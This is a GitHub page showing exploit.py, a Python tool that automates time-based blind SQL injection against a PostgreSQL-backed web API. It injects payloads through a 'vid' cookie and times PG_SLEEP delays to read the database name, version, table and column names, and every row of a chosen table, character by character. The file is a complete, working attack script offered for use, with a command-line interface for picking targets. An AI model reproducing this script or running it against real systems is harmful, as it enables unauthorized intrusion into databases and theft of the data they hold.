-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
370 lines (311 loc) · 15.4 KB
/
Copy pathexploit.py
File metadata and controls
370 lines (311 loc) · 15.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
import requests
import string
import uuid
import time
import argparse
from prettytable import PrettyTable
# ASCII Art
ascii_art = r"""
███████╗██╗ ███████╗███████╗██████╗ ███████╗████████╗ █████╗ ██╗ ██╗ ██╗███████╗██████╗
██╔════╝██║ ██╔════╝██╔════╝██╔══██╗ ██╔════╝╚══██╔══╝██╔══██╗██║ ██║ ██╔╝██╔════╝██╔══██╗
███████╗██║ █████╗ █████╗ ██████╔╝ ███████╗ ██║ ███████║██║ █████╔╝ █████╗ ██████╔╝
╚════██║██║ ██╔══╝ ██╔══╝ ██╔═══╝ ╚════██║ ██║ ██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗
███████║███████╗███████╗███████╗██║ ███████║ ██║ ██║ ██║███████╗██║ ██╗███████╗██║ ██║
╚══════╝╚══════╝╚══════╝╚══════╝╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
- BY: DC7760
"""
# Print ASCII Art
print(ascii_art)
# Character set to use for brute-forcing
charset = string.printable.replace("\n", "").replace("\r", "")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36",
"Accept": "*/*",
"Connection": "close"
}
# Function to check if the URL is reachable or not
def check_url(url):
try:
# Make a GET request to the URL
response = requests.get(url)
# Check if the response status code is 200
if response.status_code == 200:
# Check if "true" or "false" is in the response text
if "true" in response.text.lower() or "false" in response.text.lower():
return True
else:
return False # Response text does not contain "true" or "false"
else:
print("URL is invalid or unreachable !")
return False # Non-200 status code
except requests.RequestException:
return False # URL is invalid or unreachable
# Function to check if the SQL injection payload causes the desired delay
def check_payload(vid,url,payload, sleep_time=3):
cookies = {"vid": f"{vid}{payload}"}
try:
start_time = time.time()
response = requests.get(url, headers=headers, cookies=cookies)
end_time = time.time()
return end_time - start_time >= sleep_time
except requests.RequestException as e:
print(f"Request error: {e}")
return False
# Function to extract the database name
def extract_database_name(vid,url):
db_name = ""
position = 1 # Start position
print("\n[*] Extracting Database name: ", end="", flush=True)
while True:
char_found = False # Flag to check if any character is found at this position
for char in charset:
# Create the payload to test if the character at the current position is correct
payload = f"' OR (SELECT substring(current_database(), {position}, 1)) = '{char}' AND 1=(SELECT 1 FROM PG_SLEEP(3))--"
# Check if the payload causes the delay
if check_payload(url,vid,payload):
db_name += char
char_found = True
print(char, end="", flush=True) # Print each character without a newline
break
if not char_found: # If no matching character was found, break the loop (end of version string)
break
position += 1 # Increment position for the next character
return db_name
# Function to extract the database version
def extract_version(vid,url,max_length=15):
version = ""
position = 1 # Start position
print("\n[*] Extracting Database version: ", end="", flush=True)
while len(version) < max_length:
char_found = False # Flag to check if any character is found at this position
for char in charset:
# Create the payload to test if the character at the current position is correct
payload = f"' OR (SELECT substring(version(), {position}, 1)) = '{char}' AND 1=(SELECT 1 FROM PG_SLEEP(3))--"
# Check if the payload causes the delay
if check_payload(url,vid,payload):
version += char
char_found = True
print(char, end="", flush=True) # Print each character without a newline
break
if not char_found: # If no matching character was found, break the loop (end of version string)
break
position += 1 # Increment position for the next character
return version
# Function to find the number of tables
def find_number_of_tables(vid,url):
print("\n[*] Finding number of tables...")
number_of_tables = ""
for position in range(1, 5): # Assuming the number of tables is within 4 digits
for digit in string.digits:
payload = (
f"' OR (SELECT substring(CAST((SELECT COUNT(*) FROM information_schema.tables "
f"WHERE table_schema = current_schema()) AS TEXT), {position}, 1)) = '{digit}' "
f"AND 1=(SELECT 1 FROM PG_SLEEP(3))--"
)
if check_payload(url,vid,payload):
number_of_tables += digit
break
else:
break
print("[+] Number of tables found: "+number_of_tables)
return int(number_of_tables) if number_of_tables else 0
# Function to find the number of rows in a table
def find_number_of_rows(vid,url,table_name):
print("\n[*] Finding number of rows...")
number_of_rows = ""
position = 1
while True:
char_found = False
for char in string.digits:
# Payload to check the number of rows in the table
payload = (
f"' OR (SELECT substring(CAST((SELECT COUNT(*) FROM {table_name}) AS text), {position}, 1)) = '{char}' "
f"AND 1=(SELECT 1 FROM PG_SLEEP(3))--"
)
if check_payload(url,vid,payload):
number_of_rows += char
char_found = True
break
if not char_found:
break
position += 1
print(f"[+] Found {number_of_rows} rows in table {table_name}")
return int(number_of_rows) if number_of_rows else 0
# Function to find the number of columns in a table
def find_number_of_columns(vid,url,table_name):
print(f"\n[*] Finding number of columns for table {table_name}...")
number_of_columns = ""
position = 1
while True:
char_found = False
for char in string.digits:
# Payload to check the number of columns in the table
payload = (
f"' OR (SELECT substring(CAST((SELECT COUNT(*) FROM information_schema.columns "
f"WHERE table_name = '{table_name}' AND table_schema = current_schema()) AS TEXT), {position}, 1)) = '{char}' "
f"AND 1=(SELECT 1 FROM PG_SLEEP(3))--"
)
if check_payload(url,vid,payload):
number_of_columns += char
char_found = True
break
if not char_found:
break
position += 1
print(f"[+] Found {number_of_columns} columns in table {table_name}")
return int(number_of_columns) if number_of_columns else 0
# Function to find the column names of a table
def find_column_names(vid,url,table_name, column_count):
print(f"\n[*] Finding column names for table {table_name}...")
column_names = []
for column_offset in range(column_count):
column_name = ""
position = 1
while True:
char_found = False
for char in charset:
# Payload to extract column name
payload = (
f"' OR (SELECT substring((SELECT column_name FROM information_schema.columns "
f"WHERE table_name = '{table_name}' AND table_schema = current_schema() "
f"ORDER BY column_name LIMIT 1 OFFSET {column_offset}), {position}, 1)) = '{char}' "
f"AND 1=(SELECT 1 FROM PG_SLEEP(3))--"
)
if check_payload(url,vid,payload):
column_name += char
char_found = True
break
if not char_found:
if column_name:
column_names.append(column_name) # Append full column name when found
break
position += 1
# Create a PrettyTable for the columns and print them
column_table = PrettyTable()
column_table.field_names = ["Column Names"]
for col_name in column_names:
column_table.add_row([col_name])
print(f"\n[+] Columns Found in table {table_name}:")
print(column_table)
return column_names
# Function to find the table names in the database
def find_table_names(vid,url,number_of_tables):
table_names = []
for table_offset in range(number_of_tables):
table_name = ""
position = 1
while True:
char_found = False
for char in charset:
# Payload to extract table name
payload = (
f"' OR (SELECT substring((SELECT table_name FROM information_schema.tables "
f"WHERE table_schema = current_schema() ORDER BY table_name LIMIT 1 OFFSET {table_offset}), {position}, 1)) = '{char}' "
f"AND 1=(SELECT 1 FROM PG_SLEEP(3))--"
)
if check_payload(url,vid,payload):
table_name += char
char_found = True
break
if not char_found:
if table_name:
table_names.append(table_name) # Append full table name when found
break
position += 1
return table_names
# Function to fetch table data (rows and columns) and display it using PrettyTable
def fetch_table_data(vid,url,table_name):
print(f"\n[*] Extracting data of Table {table_name}...")
number_of_rows = find_number_of_rows(vid,url,table_name)
column_names = find_column_names(vid,url,table_name, find_number_of_columns(vid,url,table_name))
print("\n[*] Extracting data, Please wait...")
if number_of_rows > 0 and column_names:
# Create PrettyTable and set column names
table = PrettyTable()
table.field_names = column_names
for offset in range(number_of_rows):
data_row = []
for column in column_names:
data_value = ""
position = 1
while True:
char_found = False
for char in charset:
# Payload to extract cell data one character at a time
payload = (
f"' OR (SELECT substring(CAST((SELECT {column} FROM {table_name} LIMIT 1 OFFSET {offset}) AS TEXT), {position}, 1)) = '{char}' "
f"AND 1=(SELECT 1 FROM PG_SLEEP(5))--"
)
if check_payload(url,vid,payload):
data_value += char
char_found = True
break
if not char_found:
break
position += 1
data_row.append(data_value)
table.add_row(data_row)
print(table) # Print the updated table
if offset < number_of_rows - 1:
print(f"\n[*] Fetching more data from '{table_name}'...")
print()
time.sleep(0.5) # Add a small delay for readability
print(f"\n[+] Data extraction complete for table '{table_name}'.")
else:
print("[-] No data found.")
# Main function to run the script based on user input
def main():
parser = argparse.ArgumentParser(description='A Python3 Script to exploit Time-based SQL Injection and Automate Data Extraction.')
parser.add_argument('url', type=str, help="Target URL along with the API path")
parser.add_argument('-T', '--table', type=str, help='To Extract data from a specified table')
parser.add_argument('-D', '--db', action='store_true', help='To Extract the database name')
parser.add_argument('-V', '--version', action='store_true', help='To Extract the database version')
parser.add_argument('-I', '--info', action='store_true', help='To Extract database information: table names and column names')
args = parser.parse_args()
url = args.url
vid = str(uuid.uuid4())
if not check_url(url):
return
if args.db:
db_name = extract_database_name(url,vid)
print(f"\n[+] Final Database Name: {db_name}")
elif args.version:
version = extract_version(url,vid)
print(f"\n[+] Final Database Version: {version}")
elif args.table:
table_name = args.table
fetch_table_data(url,vid,table_name)
elif args.info:
print("[*] Extracting Database Information...")
# Step 1: Find the number of tables
num_tables = find_number_of_tables(url,vid)
# Step 2: Find table names based on the number of tables found
print("\n[*] Finding Table names...")
if num_tables > 0:
tables = find_table_names(url,vid,num_tables)
# Print tables in a formatted table
table_results = PrettyTable()
table_results.field_names = ["Table Name"]
for table in tables:
table_results.add_row([table])
print("\n[+] Final tables are:")
print(table_results)
# Step 3: For each table, find the number of columns and the column names
column_results = PrettyTable()
column_results.field_names = ["Table Name", "Column Name"]
for table in tables:
num_columns = find_number_of_columns(url,vid,table)
if num_columns > 0:
columns = find_column_names(url,vid,table, num_columns)
for column in columns:
column_results.add_row([table, column])
# Print columns in a formatted table
print("\n[+] Columns for each table:")
print(column_results)
else:
print("\n[-] No tables found.")
else:
print("[-] Please specify either -T <table_name>, -D for database name extraction, -V for version extraction, or -I for information extraction")
print("[-] Run with -h for help")
if __name__ == "__main__":
main()